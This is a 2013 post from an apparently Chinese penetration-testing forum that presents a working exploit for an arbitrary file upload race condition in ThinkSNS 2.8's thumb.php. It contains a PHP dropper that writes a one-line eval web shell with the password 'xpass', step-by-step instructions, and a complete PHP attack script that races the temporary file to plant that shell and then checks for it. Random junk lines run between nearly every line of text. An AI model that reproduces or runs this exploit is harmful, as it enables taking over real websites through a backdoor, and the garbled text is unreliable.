中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
; Q: q' H+ h3 L' N! M' j/ E/ i
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
+ [, V7 r8 h( F$ ]4 m
漏洞文件
7 v" Y3 S; O6 y- J3 x ?. p
存在漏洞的文件为:thumb.php
0 k( o. Y( _- n) c/ _, o( x
作者:韦鲲鹏
% q+ x, Q3 K5 q( I0 g* K
1、 准备如下PHP文件并上传到服务器(自己的)。
/ k! r( _6 e+ n
文件内容如下:
6 _# q q: M9 S8 h4 N4 _) \& f
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
/ o$ J) [ X! l4 ~
2、 计算出临时的文件名:
, t, N; n0 p2 C! _. N2 |; B
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
# U4 p7 S* ]6 V4 A+ G& Y! ^
2 ^: b& |; g) Q( I
3、 上传临时文件。
5 N4 H% Y' B8 G0 a+ _' M
4、 访问临时文件。
$ A$ a7 K/ G! t( O) S9 x4 c0 r; }
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
# i7 y$ m5 m* X+ x- t
Exploit文件内容如下:(这个我就不详细解释了)
% H; x, \5 M, q& S6 i
<?php
3 D& X/ H" n) I; v0 A7 B3 ^
error_reporting(0);
8 x0 `" g7 l& @* d
set_time_limit(0);
3 r- v3 ]" }+ [) R
ini_set(“default_socket_timeout”, 5);
) {# { {% y B( A: d# _
function http_send($host, $port, $headers) {
/ W4 g0 p8 H8 b4 n3 e( o5 Z
$fp = fsockopen($host, $port);
8 j# J/ s! J% F$ p) L; l
if (!$fp) die(‘Connection -> fail’);
1 U7 X$ l G3 l4 W
fputs($fp, $headers);
+ A4 H3 n. x0 P& W1 M N
return $fp;
5 r/ e: P `) H; p
}
+ ~5 N' Q8 W: h6 n% @
function http_recv($fp) {
) `7 x" i N+ R4 ]
$ret=”";
% k7 X5 L5 R* r1 N2 d. w, [7 E
while (!feof($fp))
; W! {3 X! S7 `5 K$ E
$ret.= fgets($fp, 1024);
/ a9 g: f l4 F- u3 g4 e) I
fclose($fp);
8 f% T8 `9 O+ d+ e
return $ret;
{- [" u. J8 ^1 ^# g9 O6 P1 v Z
}
- C4 Z' }. k* V1 i, C8 Z9 ?" q
print “\n# ThinkSns Arbitrary File Upload #\n”;
6 O: ^, E" t8 e# z! E1 {6 M
print “# Discovered by 韦鲲鹏 #\n\n”;
! z S8 I. C4 h
if ($argc < 4) {
, r3 k6 ^2 j) `5 O# Q7 X9 K
print “Usage: php <host> <path> <romote_url>\n”;
* l# E7 B0 Z! L7 H9 r
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
: ~: R6 C" I3 W0 P9 L$ I- o3 E( y
die();
+ q5 T9 L2 \8 t6 h1 Z
}
# z% Y% M/ W& }; t9 o* n- r) v- p
$host = $argv[1];
( b, ]9 L3 m$ b6 ~4 L* n2 i3 \
$path = $argv[2];
4 ]$ g4 Q3 [( r) z' y+ }
$url = $argv[3];
% E. u* h1 `. j" w+ L
$i=0;
7 [/ W4 ~/ }, y% \. |
//上传数据包
: _* z% i" D6 |, [9 u
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
& J+ e+ N( k1 I. Z4 F1 y
$headers_up .= “Host: “.$host.”\r\n”;
4 ^/ r7 v4 F: h( x0 t
$headers_up .= “Connection: close\r\n\r\n”;
- w1 _2 [" o4 a! O' `8 x0 A+ ^
echo $headers_up;
- G A# ]& ]7 U% b7 Y: }% @% y6 ~
//临时文件访问数据包
. e' E( A5 q( \" P
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
; B- w6 {( ]* u, _ Z. O: _. ?
$headers .= “Host: “.$host.”\r\n”;
8 Z r2 ]5 G; I h
$headers .= “Connection: close\r\n\r\n”;
! j. B# K# y. k; g
echo $headers;
& b O! x& |- E0 }7 n. r9 g
while(++$i<10) {
o) M; a" c; ]! J2 p& n
fclose(http_send($host, 80, $headers));
7 a3 I) I+ d- r% L7 h- ]6 _& G
}
$ ~* Z2 G Y1 }2 Q. J* s! D
fclose(http_send($host, 80, $headers_up));
, w( j! \4 N( X
while(++$i<50) {
2 U$ a; z) C) S$ \! _1 l
fclose(http_send($host, 80, $headers));
|4 k: o8 p) D- v7 D$ s
}
3 e$ `& C8 c9 F/ L: S: K# ^0 J( m
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
) q, Z$ `. W) N
$headers .= “Host: “.$host.”\r\n”;
. X/ u C- X0 k j1 W6 c% p
$headers .= “Connection: close\r\n\r\n”;
, g0 l& `' r! k" D' f
$res=http_recv(http_send($host, 80, $headers));
3 P7 t+ D' J5 F% H q
if(preg_match(‘/200 OK/’,$res)) {
5 j) T! ?) f0 E; J, P1 j8 ~; C! t
print “Success!\n\n”;
" F! o( l& ?# T% J4 ~1 e7 I6 J" [
} else {
1 m6 ^ k+ A$ E5 [+ R+ @. C
print “Fail!\n\n”;
& p, E/ U6 u: I l" F( F
}
$ C$ `, V3 |3 T2 w; h L& N
?>
" I8 ]8 }. O9 q1 l) @1 W/ D
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2